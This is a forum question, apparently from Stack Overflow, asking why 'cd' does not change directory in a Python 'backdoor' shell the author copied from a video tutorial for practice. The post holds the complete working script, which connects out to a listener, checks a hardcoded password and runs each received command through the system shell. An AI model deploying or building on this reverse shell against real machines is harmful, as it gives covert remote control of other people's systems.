title: Backdoor Shell doesn't allow me to change Directory
body: <p>Below you can see a Python Script which establishes a connection to my machine on port 1234. Using Netcat I can listen on that port and then perform actions on my machine using the terminal (I know that this is trivial, but its just for practicing). </p>
  
  <p>Now the problem is that the commands like "ls, mkdir, pwd, rm or even "ls /root/Desktop/" are working, but however "cd /root/Desktop" or "cd .." are not working, which is actually really bad. Typing in "cd .." is not returning any error message, but its also not changing the directory. I can not leave my python directory.</p>
  
  <p>Here is the script:</p>
  
  <pre><code>#! /usr/bin/python
  import socket
  import subprocess
  
  host = "localhost"
  port = 1234
  passwd = "hacking"
  
  
  def login():
      global s
      s.send("Login: ")
      pwd = s.recv(1024)
  
      if pwd.strip() != passwd:
          login()
      else:
          s.send("Connected #&gt; ")
          shell()
  
  def shell():
      while True:
          data = s.recv(1024)
  
          if data.strip() == ":kill":
                break
  
          proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE, stdin=subprocess.PIPE)
          output = proc.stdout.read() + proc.stderr.read()
          s.send(output)
          s.send("#&gt; ")
  
  
  
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  login()
  </code></pre>
  
  <p>I got it from <a href="https://www.youtube.com/watch?v=HuCCoR6cujY&amp;index=7&amp;list=PLKnVk7JCUp1Ns3HCFDcG6lk158bLs6mDX" rel="nofollow noreferrer">here</a> . </p>
  
  <p>Can anyone help me out? Any idea why I cannot leave the directory? Thanks in advance!</p>